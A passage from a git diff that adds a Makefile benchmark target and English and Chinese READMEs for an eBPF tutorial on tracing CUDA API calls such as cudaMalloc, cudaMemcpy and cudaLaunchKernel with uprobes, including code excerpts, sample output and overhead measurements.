$(Q)(sudo ./cuda_events -p ./bench > /dev/null 2>&1 &); \ + sleep 1; \ + ./bench; \ + sudo pkill -f "./cuda_events -p ./bench" || true + $(Q)echo "" + $(Q)echo "Benchmark complete. Compare the results to see the tracing overhead." + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/47-cuda-events/README.md b/src/47-cuda-events/README.md new file mode 100644 index 00000000..e259f306 --- /dev/null +++ b/src/47-cuda-events/README.md @@ -0,0 +1,502 @@ +# eBPF Tutorial: Tracing CUDA GPU Operations + +Have you ever wondered what's happening under the hood when your CUDA application is running? GPU operations can be challenging to debug and profile because they happen in a separate device with its own memory space. In this tutorial, we'll build a powerful eBPF-based tracing tool that lets you peek into CUDA API calls in real time. + +> The complete source code: + +## Introduction to CUDA and GPU Tracing + +CUDA (Compute Unified Device Architecture) is NVIDIA's parallel computing platform and programming model that enables developers to use NVIDIA GPUs for general-purpose processing. When you run a CUDA application, a typical workflow begins with the host (CPU) allocating memory on the device (GPU), followed by data transfer from host memory to device memory, then GPU kernels (functions) are launched to process the data, after which results are transferred back from device to host, and finally device memory is freed. + +Each operation in this process involves CUDA API calls, such as `cudaMalloc` for memory allocation, `cudaMemcpy` for data transfer, and `cudaLaunchKernel` for kernel execution. Tracing these calls can provide valuable insights for debugging and performance optimization, but this isn't straightforward. GPU operations are asynchronous, meaning the CPU can continue executing after submitting work to the GPU without waiting, and traditional debugging tools often can't penetrate this asynchronous boundary to access GPU internal state. + +This is where eBPF comes to the rescue! By using uprobes, we can intercept CUDA API calls in the user-space CUDA runtime library (`libcudart.so`) before they reach the GPU driver, capturing critical information. This approach allows us to gain deep insights into memory allocation sizes and patterns, data transfer directions and volumes, kernel launch parameters, error codes and failure reasons returned by the API, and precise timing information for each operation. By intercepting these calls on the CPU side, we can build a complete view of an application's GPU usage behavior without modifying application code or relying on proprietary profiling tools. + +This tutorial primarily focuses on CPU-side CUDA API tracing, which provides a macro view of how applications interact with the GPU. However, CPU-side tracing alone has clear limitations. When a CUDA API function like `cudaLaunchKernel` is called, it merely submits a work request to the GPU. We can see when the kernel was launched, but we cannot observe what actually happens inside the GPU. Critical details such as how thousands of threads access memory, their execution patterns, branching behavior, and synchronization operations remain invisible. These details are crucial for understanding performance bottlenecks, such as whether memory access patterns cause coalesced access failures or whether severe thread divergence reduces execution efficiency. + +To achieve fine-grained tracing of GPU operations, eBPF programs need to run directly on the GPU. This is exactly what the eGPU paper and [bpftime GPU examples](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu) explore. bpftime converts eBPF programs into PTX instructions that GPUs can execute, then dynamically modifies CUDA binaries at runtime to inject these eBPF programs at kernel entry and exit points, enabling observation of GPU internal behavior. This approach allows developers to access GPU-specific information such as block indices, thread indices, global timers, and perform measurements and tracing on critical paths during kernel execution. This GPU-internal observability is essential for diagnosing complex performance issues, understanding kernel execution behavior, and optimizing GPU computation—capabilities that CPU-side tracing simply cannot provide. + +## Key CUDA Functions We Trace + +Our tracer monitors several critical CUDA functions that represent the main operations in GPU computing. Understanding these functions helps you interpret the tracing results and diagnose issues in your CUDA applications: + +### Memory Management + +- **`cudaMalloc`**: Allocates memory on the GPU device. By tracing this, we can see how much memory is being requested, when, and whether it succeeds. Memory allocation failures are a common source of problems in CUDA applications. + ```c + cudaError_t cudaMalloc(void** devPtr, size_t size); + ``` + +- **`cudaFree`**: Releases previously allocated memory on the GPU. Tracing this helps identify memory leaks (allocated memory that's never freed) and double-free errors. + ```c + cudaError_t cudaFree(void* devPtr); + ``` + +### Data Transfer + +- **`cudaMemcpy`**: Copies data between host (CPU) and device (GPU) memory, or between different locations in device memory. The direction parameter (`kind`) tells us whether data is moving to the GPU, from the GPU, or within the GPU. + ```c + cudaError_t cudaMemcpy(void* dst, const void* src, size_t count, cudaMemcpyKind kind); + ``` + + The `kind` parameter can be: + - `cudaMemcpyHostToDevice` (1): Copying from CPU to GPU + - `cudaMemcpyDeviceToHost` (2): Copying from GPU to CPU + - `cudaMemcpyDeviceToDevice` (3): Copying within GPU memory + +### Kernel Execution + +- **`cudaLaunchKernel`**: Launches a GPU kernel (function) to run on the device. This is where the actual parallel computation happens. Tracing this shows when kernels are launched and whether they succeed. + ```c + cudaError_t cudaLaunchKernel(const void* func, dim3 gridDim, dim3 blockDim, + void** args, size_t sharedMem, cudaStream_t stream); + ``` + +### Streams and Synchronization + +CUDA uses streams for managing concurrency and asynchronous operations: + +- **`cudaStreamCreate`**: Creates a new stream for executing operations in order but potentially concurrently with other streams. + ```c + cudaError_t cudaStreamCreate(cudaStream_t* pStream); + ``` + +- **`cudaStreamSynchronize`**: Waits for all operations in a stream to complete. This is a key synchronization point that can reveal performance bottlenecks. + ```c + cudaError_t cudaStreamSynchronize(cudaStream_t stream); + ``` + +### Events + +CUDA events are used for timing and synchronization: + +- **`cudaEventCreate`**: Creates an event object for timing operations. + ```c + cudaError_t cudaEventCreate(cudaEvent_t* event); + ``` + +- **`cudaEventRecord`**: Records an event in a stream, which can be used for timing or synchronization. + ```c + cudaError_t cudaEventRecord(cudaEvent_t event, cudaStream_t stream); + ``` + +- **`cudaEventSynchronize`**: Waits for an event to complete, which is another synchronization point. + ```c + cudaError_t cudaEventSynchronize(cudaEvent_t event); + ``` + +### Device Management + +- **`cudaGetDevice`**: Gets the current device being used. + ```c + cudaError_t cudaGetDevice(int* device); + ``` + +- **`cudaSetDevice`**: Sets the device to be used for GPU executions. + ```c + cudaError_t cudaSetDevice(int device); + ``` + +By tracing these functions, we gain complete visibility into the lifecycle of GPU operations, from device selection and memory allocation to data transfer, kernel execution, and synchronization. This enables us to identify bottlenecks, diagnose errors, and understand the behavior of CUDA applications. + +## Architecture Overview + +Our CUDA events tracer consists of three main components: + +1. **Header File (`cuda_events.h`)**: Defines data structures for communication between kernel and user space +2. **eBPF Program (`cuda_events.bpf.c`)**: Implements kernel-side hooks for CUDA functions using uprobes +3. **User-Space Application (`cuda_events.c`)**: Loads the eBPF program, processes events, and displays them to the user + +The tool uses eBPF uprobes to attach to CUDA API functions in the CUDA runtime library. When a CUDA function is called, the eBPF program captures the parameters and results, sending them to user space through a ring buffer. + +## Key Data Structures + +The central data structure for our tracer is the `struct event` defined in `cuda_events.h`: + +```c +struct event { + /* Common fields */ + int pid; /* Process ID */ + char comm[TASK_COMM_LEN]; /* Process name */ + enum cuda_event_type type;/* Type of CUDA event */ + + /* Event-specific data (union to save space) */ + union { + struct { size_t size; } mem; /* For malloc/memcpy */ + struct { void *ptr; } free_data; /* For free */ + struct { size_t size; int kind; } memcpy_data; /* For memcpy */ + struct { void *func; } launch; /* For kernel launch */ + struct { int device; } device; /* For device operations */ + struct { void *handle; } handle; /* For stream/event operations */ + }; + + bool is_return; /* True if this is from a return probe */ + int ret_val; /* Return value (for return probes) */ + char details[MAX_DETAILS_LEN]; /* Additional details as string */ +}; +``` + +This structure is designed to efficiently capture information about different types of CUDA operations. The `union` is a clever space-saving technique since each event only needs one type of data at a time. For example, a memory allocation event needs to store the size, while a free event needs to store a pointer. + +The `cuda_event_type` enum helps us categorize different CUDA operations: + +```c +enum cuda_event_type { + CUDA_EVENT_MALLOC = 0, + CUDA_EVENT_FREE, + CUDA_EVENT_MEMCPY, + CUDA_EVENT_LAUNCH_KERNEL, + CUDA_EVENT_STREAM_CREATE, + CUDA_EVENT_STREAM_SYNC, + CUDA_EVENT_GET_DEVICE, + CUDA_EVENT_SET_DEVICE, + CUDA_EVENT_EVENT_CREATE, + CUDA_EVENT_EVENT_RECORD, + CUDA_EVENT_EVENT_SYNC +}; +``` + +This enum covers the main CUDA operations we want to trace, from memory management to kernel launches and synchronization. + +## The eBPF Program Implementation + +Let's dive into the eBPF program (`cuda_events.bpf.c`) that hooks into CUDA functions. The full code is available in the repository, but here are the key parts: + +First, we create a ring buffer to communicate with user space: + +```c +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); +``` + +The ring buffer is a crucial component for our tracer. It acts as a high-performance queue where the eBPF program can submit events, and the user-space application can retrieve them. We set a generous size of 256KB to handle bursts of events without losing data. + +For each CUDA operation, we implement a helper function to collect relevant data. Let's look at the `submit_malloc_event` function as an example: + +```c +static inline int submit_malloc_event(size_t size, bool is_return, int ret_val) { + struct event *e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) return 0; + + /* Fill common fields */ + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_MALLOC; + e->is_return = is_return; + + /* Fill event-specific data */ + if (is_return) { + e->ret_val = ret_val; + } else { + e->mem.size = size; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} +``` + +This function first reserves space in the ring buffer for our event. Then it fills in common fields like the process ID and name. For a malloc event, we store either the requested size (on function entry) or the return value (on function exit). Finally, we submit the event to the ring buffer. + +The actual probes are attached to CUDA functions using SEC annotations. For cudaMalloc, we have: + +```c +SEC("uprobe") +int BPF_KPROBE(cuda_malloc_enter, void **ptr, size_t size) { + return submit_malloc_event(size, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_malloc_exit, int ret) { + return submit_malloc_event(0, true, ret); +} +``` + +The first function is called when `cudaMalloc` is entered, capturing the requested size. The second is called when `cudaMalloc` returns, capturing the error code. This pattern is repeated for each CUDA function we want to trace. + +One interesting case is `cudaMemcpy`, which transfers data between host and device: + +```c +SEC("uprobe") +int BPF_KPROBE(cuda_memcpy_enter, void *dst, const void *src, size_t size, int kind) { + return submit_memcpy_event(size, kind, false, 0); +} +``` + +Here, we capture not just the size but also the "kind" parameter, which indicates the direction of the transfer (host-to-device, device-to-host, or device-to-device). This gives us valuable information about data movement patterns. + +## User-Space Application Details + +The user-space application (`cuda_events.c`) is responsible for loading the eBPF program, processing events from the ring buffer, and displaying them in a user-friendly format. + +First, the program parses command-line arguments to configure its behavior: + +```c +static struct env { + bool verbose; + bool print_timestamp; + char *cuda_library_path; + bool include_returns; + int target_pid; +} env = { + .print_timestamp = true, + .include_returns = true, + .cuda_library_path = NULL, + .target_pid = -1, +}; +``` + +This structure stores configuration options like whether to print timestamps or include return probes. The default values provide a sensible starting point. + +The program uses `libbpf` to load and attach the eBPF program to CUDA functions: + +```c +int attach_cuda_func(struct cuda_events_bpf *skel, const char *lib_path, + const char *func_name, struct bpf_program *prog_entry, + struct bpf_program *prog_exit) { + /* Attach entry uprobe */ + if (prog_entry) { + uprobe_opts.func_name = func_name; + struct bpf_link *link = bpf_program__attach_uprobe_opts(prog_entry, + env.target_pid, lib_path, 0, &uprobe_opts); + /* Error handling... */ + } + + /* Attach exit uprobe */ + if (prog_exit) { + /* Similar for return probe... */ + } +} +``` + +This function takes a function name (like "cudaMalloc") and the corresponding eBPF programs for entry and exit. It then attaches these programs as uprobes to the specified library. + +One of the most important functions is `handle_event`, which processes events from the ring buffer: + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) { + const struct event *e = data; + struct tm *tm; + char ts[32]; + char details[MAX_DETAILS_LEN]; + time_t t; + + /* Skip return probes if requested */ + if (e->is_return && !env.include_returns) + return 0; + + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + + get_event_details(e, details, sizeof(details)); + + if (env.print_timestamp) { + printf("%-8s ", ts); + } + + printf("%-16s %-7d %-20s %8s %s\n", + e->comm, e->pid, + event_type_str(e->type), + e->is_return ? "[EXIT]" : "[ENTER]", + details); + + return 0; +} +``` + +This function formats and displays event information, including timestamps, process details, event type, and specific parameters or return values. + +The `get_event_details` function converts raw event data into human-readable form: + +```c +static void get_event_details(const struct event *e, char *details, size_t len) { + switch (e->type) { + case CUDA_EVENT_MALLOC: + if (!e->is_return) + snprintf(details, len, "size=%zu bytes", e->mem.size); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + /* Similar cases for other event types... */ + } +} +``` + +This function handles each event type differently. For example, a malloc event shows the requested size on entry and the error code on exit. + +The main event loop is remarkably simple: + +```c +while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Error handling... */ +} +``` + +This polls the ring buffer for events, calling `handle_event` for each one. The 100ms timeout ensures the program remains responsive to signals like Ctrl+C. + +## CUDA Error Handling and Reporting + +An important aspect of our tracer is translating CUDA error codes into human-readable messages. CUDA has over 100 different error codes, from simple ones like "out of memory" to complex ones like "unsupported PTX version." + +Our tool includes a comprehensive `cuda_error_str` function that maps these numeric codes to string descriptions: + +```c +static const char *cuda_error_str(int error) { + switch (error) { + case 0: return "Success"; + case 1: return "InvalidValue"; + case 2: return "OutOfMemory"; + /* Many more error codes... */ + default: return "Unknown"; + } +} +``` + +This makes the output much more useful for debugging. Instead of seeing "error 2", you'll see "OutOfMemory", which immediately tells you what went wrong. + +## Compilation and Execution + +Building the tracer is straightforward with the provided Makefile: + +```bash +# Build both the tracer and the example +make +``` + +This creates two binaries: +- `cuda_events`: The eBPF-based CUDA tracing tool +- `basic02`: A simple CUDA example application + +The build system is smart enough to detect your GPU architecture using `nvidia-smi` and compile the CUDA code with the appropriate flags. + +Running the tracer is just as easy: + +```bash +# Start the tracing tool +sudo ./cuda_events -p ./basic02 + +# In another terminal, run the CUDA example +./basic02 +``` + +You can also trace a specific process by PID: + +```bash +# Run the CUDA example +./basic02 & +PID=$! + +# Start the tracing tool with PID filtering +sudo ./cuda_events -p ./basic02 -d $PID +``` + +The example output shows detailed information about each CUDA operation: + +``` +Using CUDA library: ./basic02 +TIME PROCESS PID EVENT TYPE DETAILS +17:35:41 basic02 12345 cudaMalloc [ENTER] size=4000 bytes +17:35:41 basic02 12345 cudaMalloc [EXIT] returned=Success +17:35:41 basic02 12345 cudaMalloc [ENTER] size=4000 bytes +17:35:41 basic02 12345 cudaMalloc [EXIT] returned=Success +17:35:41 basic02 12345 cudaMemcpy [ENTER] size=4000 bytes, kind=1 +17:35:41 basic02 12345 cudaMemcpy [EXIT] returned=Success +17:35:41 basic02 12345 cudaLaunchKernel [ENTER] func=0x7f1234567890 +17:35:41 basic02 12345 cudaLaunchKernel [EXIT] returned=Success +17:35:41 basic02 12345 cudaMemcpy [ENTER] size=4000 bytes, kind=2 +17:35:41 basic02 12345 cudaMemcpy [EXIT] returned=Success +17:35:41 basic02 12345 cudaFree [ENTER] ptr=0x7f1234568000 +17:35:41 basic02 12345 cudaFree [EXIT] returned=Success +17:35:41 basic02 12345 cudaFree [ENTER] ptr=0x7f1234569000 +17:35:41 basic02 12345 cudaFree [EXIT] returned=Success +``` + +This output shows the typical flow of a CUDA application: +1. Allocate memory on the device +2. Copy data from host to device (kind=1) +3. Launch a kernel to process the data +4. Copy results back from device to host (kind=2) +5. Free device memory + +## benchmark + +We also provide a benchmark tool to test the performance of the tracer and the latency of the CUDA API calls. + +```bash +make +sudo ./cuda_events -p ./bench +./bench +``` + +When there is no tracing, the result is like this: + +``` +Data size: 1048576 bytes (1024 KB) +Iterations: 10000 + +Summary (average time per operation): +----------------------------------- +cudaMalloc: 113.14 µs +cudaMemcpyH2D: 365.85 µs +cudaLaunchKernel: 7.82 µs +cudaMemcpyD2H: 393.55 µs +cudaFree: 0.00 µs +``` + +When the tracer is attached, the result is like this: + +``` +Data size: 1048576 bytes (1024 KB) +Iterations: 10000 + +Summary (average time per operation): +----------------------------------- +cudaMalloc: 119.81 µs +cudaMemcpyH2D: 367.16 µs +cudaLaunchKernel: 8.77 µs +cudaMemcpyD2H: 383.66 µs +cudaFree: 0.00 µs +``` + +The tracer adds about 2us overhead to each CUDA API call, which is negligible for most cases. To further reduce the overhead, you can try using the [bpftime](https://github.com/eunomia-bpf/bpftime) userspace runtime to optimize the eBPF program. + +## Command Line Options + +The `cuda_events` tool supports these options: + +- `-v`: Enable verbose output for debugging +- `-t`: Don't print timestamps +- `-r`: Don't show function returns (only show function entries) +- `-p PATH`: Specify the path to the CUDA runtime library or application +- `-d PID`: Trace only the specified process ID + +## Next Steps + +Once you're comfortable with this basic CUDA tracing tool, you could extend it to: + +1. Add support for more CUDA API functions +2. Add timing information to analyze performance bottlenecks +3. Implement correlation between related operations (e.g., matching mallocs with frees) +4. Create visualizations of CUDA operations for easier analysis +5. Add support for other GPU frameworks like OpenCL or ROCm + +For more detail about the cuda example and tutorial, you can checkout out repo and the code in [https://github.com/eunomia-bpf/basic-cuda-tutorial](https://github.com/eunomia-bpf/basic-cuda-tutorial) + +The code of this tutorial is in [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/47-cuda-events](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/47-cuda-events) + + +## References + +- CUDA Programming Guide: [https://docs.nvidia.com/cuda/cuda-c-programming-guide/](https://docs.nvidia.com/cuda/cuda-c-programming-guide/) +- NVIDIA CUDA Runtime API: [https://docs.nvidia.com/cuda/cuda-runtime-api/](https://docs.nvidia.com/cuda/cuda-runtime-api/) +- libbpf Documentation: [https://libbpf.readthedocs.io/](https://libbpf.readthedocs.io/) +- Linux uprobes Documentation: [https://www.kernel.org/doc/Documentation/trace/uprobetracer.txt](https://www.kernel.org/doc/Documentation/trace/uprobetracer.txt) +- eGPU: eBPF on GPUs: +- bpftime GPU Examples: + +If you'd like to dive deeper into eBPF, check out our tutorial repository at [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or visit our website at [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). diff --git a/src/47-cuda-events/README.zh.md b/src/47-cuda-events/README.zh.md new file mode 100644 index 00000000..0a6fe80b --- /dev/null +++ b/src/47-cuda-events/README.zh.md @@ -0,0 +1,507 @@ +# eBPF 教程:追踪 CUDA GPU 操作 + +你是否曾经想知道CUDA应用程序在运行时底层发生了什么?GPU操作由于发生在具有独立内存空间的设备上,因此调试和性能分析变得极为困难。在本教程中,我们将构建一个强大的基于eBPF的追踪工具,让你实时查看CUDA API调用。 + +## CUDA和GPU追踪简介 + +CUDA(Compute Unified Device Architecture,计算统一设备架构)是NVIDIA的并行计算平台和编程模型,使开发者能够利用NVIDIA GPU进行通用计算。当你运行CUDA应用程序时,一个典型的工作流程从主机(CPU)在设备(GPU)上分配内存开始,随后数据从主机内存传输到设备内存,接着GPU内核(函数)被启动以处理数据,处理完成后结果从设备传回主机,最后设备内存被释放。 + +这个过程中的每个操作都涉及CUDA API调用,例如用于内存分配的`cudaMalloc`、用于数据传输的`cudaMemcpy`以及用于启动内核的`cudaLaunchKernel`。追踪这些调用可以提供宝贵的调试和性能优化信息,但这并不简单。GPU操作是异步的,这意味着CPU在提交工作给GPU后可以继续执行而无需等待,而传统调试工具通常无法穿透这层异步边界来访问GPU内部状态。 + +这时eBPF就派上用场了!通过使用uprobes,我们可以在用户空间CUDA运行库(`libcudart.so`)中拦截CUDA API调用,在它们到达GPU驱动之前捕获关键信息。这种方法使我们能够深入了解内存分配的大小和模式、数据传输的方向和大小、内核启动时使用的参数、API返回的错误代码和失败原因,以及各个操作的精确时间信息。通过在CPU侧拦截这些调用,我们可以构建应用程序GPU使用行为的完整视图,而无需修改应用程序代码或依赖专有的性能分析工具。 + +## eBPF技术背景与GPU追踪的挑战 + +eBPF(Extended Berkeley Packet Filter)最初是为网络数据包过滤而设计的,但现在已经发展成为一个强大的内核编程框架,使开发人员能够在内核空间运行用户定义的程序,而无需修改内核源代码或加载内核模块。eBPF的安全性通过静态分析和运行时验证器来保证,这使得它能够在生产环境中安全地运行。 + +传统的系统追踪方法往往存在显著的性能开销和功能限制。例如,使用strace等工具追踪系统调用会导致每个被追踪的系统调用产生数倍的性能损失,因为它需要在内核空间和用户空间之间频繁切换。相比之下,eBPF程序直接在内核空间执行,可以就地处理事件,只在必要时才将汇总或过滤后的数据传递给用户空间,从而大大减少了上下文切换的开销。 + +GPU追踪面临着独特的挑战。现代GPU是高度并行的处理器,包含数千个小型计算核心,这些核心可以同时执行数万个线程。GPU具有自己的内存层次结构,包括全局内存、共享内存、常数内存和纹理内存,这些内存的访问模式对性能有着巨大影响。更复杂的是,GPU操作通常是异步的,这意味着当CPU启动一个GPU操作后,它可以继续执行其他任务,而无需等待GPU操作完成。另外,CUDA编程模型的异步特性使得调试变得特别困难。当一个内核函数在GPU上执行时,CPU无法直接观察到GPU的内部状态。错误可能在GPU上发生,但直到后续的同步操作(如cudaDeviceSynchronize或cudaStreamSynchronize)时才被检测到,这使得错误源的定位变得困难。此外,GPU内存错误(如数组越界访问)可能导致静默的数据损坏,而不是立即的程序崩溃,这进一步增加了调试的复杂性。 + +本教程主要关注CPU侧的CUDA API调用,这为我们提供了应用程序与GPU交互的宏观视图。然而,仅在CPU侧进行追踪存在明显的局限性。当CUDA API函数如`cudaLaunchKernel`被调用时,它只是向GPU提交了一个工作请求,我们可以看到内核何时被启动,但无法观察到GPU内部实际发生了什么。GPU上运行的成千上万个线程如何访问内存、它们的执行模式、分支行为和同步操作等关键细节都是不可见的。这些细节对于理解性能瓶颈至关重要,比如内存访问模式是否导致了合并访问失败,或者是否存在严重的线程分化导致执行效率降低。 + +要实现对GPU操作的细粒度追踪,需要直接在GPU上运行eBPF程序。这正是eGPU论文和[bpftime GPU示例](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu)所探索的方向。bpftime通过将eBPF程序转换为GPU可以执行的PTX指令,然后在运行时动态修改CUDA二进制文件,将这些eBPF程序注入到GPU内核的入口和出口点,从而实现对GPU内部行为的观测。这种方法使得开发者可以访问GPU特有的信息,如块索引、线程索引、全局计时器等,并且可以在GPU内核执行的关键路径上进行测量和追踪。这种GPU内部的可观测性对于诊断复杂的性能问题、理解内核执行行为以及优化GPU计算至关重要,是CPU侧追踪无法企及的。 + +## 我们追踪的关键CUDA函数 + +我们的追踪工具监控几个关键CUDA函数,这些函数代表GPU计算中的主要操作。了解这些函数有助于解释追踪结果并诊断CUDA应用程序中的问题: + +### 内存管理 + +- **`cudaMalloc`**:在GPU设备上分配内存。通过追踪这个函数,我们可以看到请求了多少内存、何时请求以及是否成功。内存分配失败是CUDA应用程序中常见的问题来源。 + ```c + cudaError_t cudaMalloc(void** devPtr, size_t size); + ``` + +- **`cudaFree`**:释放先前在GPU上分配的内存。追踪这个函数有助于识别内存泄漏(分配的内存从未被释放)和双重释放错误。 + ```c + cudaError_t cudaFree(void* devPtr); + ``` + +### 数据传输 + +- **`cudaMemcpy`**:在主机(CPU)和设备(GPU)内存之间,或在设备内存的不同位置之间复制数据。方向参数(`kind`)告诉我们数据是流向GPU、来自GPU还是在GPU内部移动。 + ```c + cudaError_t cudaMemcpy(void* dst, const void* src, size_t count, cudaMemcpyKind kind); + ``` + + `kind`参数可以是: + - `cudaMemcpyHostToDevice` (1):从CPU复制到GPU + - `cudaMemcpyDeviceToHost` (2):从GPU复制到CPU + - `cudaMemcpyDeviceToDevice` (3):在GPU内存内复制 + +### 内核执行 + +- **`cudaLaunchKernel`**:启动GPU内核(函数)在设备上运行。这是真正的并行计算发生的地方。追踪这个函数显示内核何时启动以及是否成功。 + ```c + cudaError_t cudaLaunchKernel(const void* func, dim3 gridDim, dim3 blockDim, + void** args, size_t sharedMem, cudaStream_t stream); + ``` + +### 流和同步 + +CUDA使用流来管理并发和异步操作: + +- **`cudaStreamCreate`**:创建一个新的流,用于按顺序执行操作,但可能与其他流并发。 + ```c + cudaError_t cudaStreamCreate(cudaStream_t* pStream); + ``` + +- **`cudaStreamSynchronize`**:等待流中的所有操作完成。这是一个关键的同步点,可以揭示性能瓶颈。 + ```c + cudaError_t cudaStreamSynchronize(cudaStream_t stream); + ``` + +### 事件 + +CUDA事件用于计时和同步: + +- **`cudaEventCreate`**:创建一个事件对象,用于计时操作。 + ```c + cudaError_t cudaEventCreate(cudaEvent_t* event); + ``` + +- **`cudaEventRecord`**:在流中记录一个事件,可用于计时或同步。 + ```c + cudaError_t cudaEventRecord(cudaEvent_t event, cudaStream_t stream); + ``` + +- **`cudaEventSynchronize`**:等待事件完成,这是另一个同步点。 + ```c + cudaError_t cudaEventSynchronize(cudaEvent_t event); + ``` + +### 设备管理 + +- **`cudaGetDevice`**:获取当前使用的设备。 + ```c + cudaError_t cudaGetDevice(int* device); + ``` + +- **`cudaSetDevice`**:设置用于GPU执行的设备。 + ```c + cudaError_t cudaSetDevice(int device); + ``` + +通过追踪这些函数,我们可以全面了解GPU操作的生命周期,从设备选择和内存分配到数据传输、内核执行和同步。这使我们能够识别瓶颈、诊断错误并了解CUDA应用程序的行为。 + +## 架构概述 + +我们的CUDA事件追踪器由三个主要组件组成: + +1. **头文件(`cuda_events.h`)**:定义内核空间和用户空间之间通信的数据结构 +2. **eBPF程序(`cuda_events.bpf.c`)**:使用uprobes实现对CUDA函数的内核侧钩子 +3. **用户空间应用程序(`cuda_events.c`)**:加载eBPF程序,处理事件并向用户显示 + +该工具使用eBPF uprobes附加到CUDA运行库中的CUDA API函数。当调用CUDA函数时,eBPF程序捕获参数和结果,并通过环形缓冲区将它们发送到用户空间。 + +## 关键数据结构 + +我们追踪器的核心数据结构是在`cuda_events.h`中定义的`struct event`: + +```c +struct event { + /* Common fields */ + int pid; /* Process ID */ + char comm[TASK_COMM_LEN]; /* Process name */ + enum cuda_event_type type;/* Type of CUDA event */ + + /* Event-specific data (union to save space) */ + union { + struct { size_t size; } mem; /* For malloc/memcpy */ + struct { void *ptr; } free_data; /* For free */ + struct { size_t size; int kind; } memcpy_data; /* For memcpy */ + struct { void *func; } launch; /* For kernel launch */ + struct { int device; } device; /* For device operations */ + struct { void *handle; } handle; /* For stream/event operations */ + }; + + bool is_return; /* True if this is from a return probe */ + int ret_val; /* Return value (for return probes) */ + char details[MAX_DETAILS_LEN]; /* Additional details as string */ +}; +``` + +这个结构设计用于高效捕获不同类型的CUDA操作信息。`union`是一种巧妙的节省空间技术,因为每个事件一次只需要一种类型的数据。例如,内存分配事件需要存储大小,而释放事件需要存储指针。 + +`cuda_event_type`枚举帮助我们对不同的CUDA操作进行分类: + +```c +enum cuda_event_type { + CUDA_EVENT_MALLOC = 0, + CUDA_EVENT_FREE, + CUDA_EVENT_MEMCPY, + CUDA_EVENT_LAUNCH_KERNEL, + CUDA_EVENT_STREAM_CREATE, + CUDA_EVENT_STREAM_SYNC, + CUDA_EVENT_GET_DEVICE, + CUDA_EVENT_SET_DEVICE, + CUDA_EVENT_EVENT_CREATE, + CUDA_EVENT_EVENT_RECORD, + CUDA_EVENT_EVENT_SYNC +}; +``` + +这个枚举涵盖了我们要追踪的主要CUDA操作,从内存管理到内核启动和同步。 + +## eBPF程序实现 + +让我们深入了解钩入CUDA函数的eBPF程序(`cuda_events.bpf.c`)。完整代码可在仓库中找到,以下是关键部分: + +首先,我们创建一个环形缓冲区与用户空间通信: + +```c +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); +``` + +环形缓冲区是我们追踪器的关键组件。它充当一个高性能队列,eBPF程序可以在其中提交事件,用户空间应用程序可以检索它们。我们设置了256KB的大小来处理事件突发而不丢失数据。 + +对于每种CUDA操作,我们实现了一个辅助函数来收集相关数据。让我们看看`submit_malloc_event`函数为例: + +```c +static inline int submit_malloc_event(size_t size, bool is_return, int ret_val) { + struct event *e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) return 0; + + /* Fill common fields */ + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_MALLOC; + e->is_return = is_return; + + /* Fill event-specific data */ + if (is_return) { + e->ret_val = ret_val; + } else { + e->mem.size = size; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} +``` + +这个函数首先在环形缓冲区中为我们的事件保留空间。然后它填充进程ID和名称等常见字段。对于malloc事件,我们存储请求的大小(在函数入口)或返回值(在函数退出时)。最后,我们将事件提交到环形缓冲区。 + +实际的探针使用SEC注释附加到CUDA函数。对于cudaMalloc,我们有: + +```c +SEC("uprobe") +int BPF_KPROBE(cuda_malloc_enter, void **ptr, size_t size) { + return submit_malloc_event(size, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_malloc_exit, int ret) { + return submit_malloc_event(0, true, ret); +} +``` + +第一个函数在进入`cudaMalloc`时调用,捕获请求的大小。第二个在`cudaMalloc`返回时调用,捕获错误代码。这个模式对我们要追踪的每个CUDA函数都会重复。 + +一个有趣的例子是`cudaMemcpy`,它在主机和设备之间传输数据: + +```c +SEC("uprobe") +int BPF_KPROBE(cuda_memcpy_enter, void *dst, const void *src, size_t size, int kind) { + return submit_memcpy_event(size, kind, false, 0); +} +``` + +在这里,我们不仅捕获了大小,还捕获了"kind"参数,它指示传输的方向(主机到设备、设备到主机或设备到设备)。这为我们提供了关于数据移动模式的宝贵信息。 + +## 用户空间应用程序详情 + +用户空间应用程序(`cuda_events.c`)负责加载eBPF程序,处理来自环形缓冲区的事件,并以用户友好的格式显示它们。 + +首先,程序解析命令行参数以配置其行为: + +```c +static struct env { + bool verbose; + bool print_timestamp; + char *cuda_library_path; + bool include_returns; + int target_pid; +} env = { + .print_timestamp = true, + .include_returns = true, + .cuda_library_path = NULL, + .target_pid = -1, +}; +``` + +这个结构存储配置选项,如是否打印时间戳或包含返回探针。默认值提供了一个合理的起点。 + +程序使用`libbpf`加载并附加eBPF程序到CUDA函数: + +```c +int attach_cuda_func(struct cuda_events_bpf *skel, const char *lib_path, + const char *func_name, struct bpf_program *prog_entry, + struct bpf_program *prog_exit) { + /* Attach entry uprobe */ + if (prog_entry) { + uprobe_opts.func_name = func_name; + struct bpf_link *link = bpf_program__attach_uprobe_opts(prog_entry, + 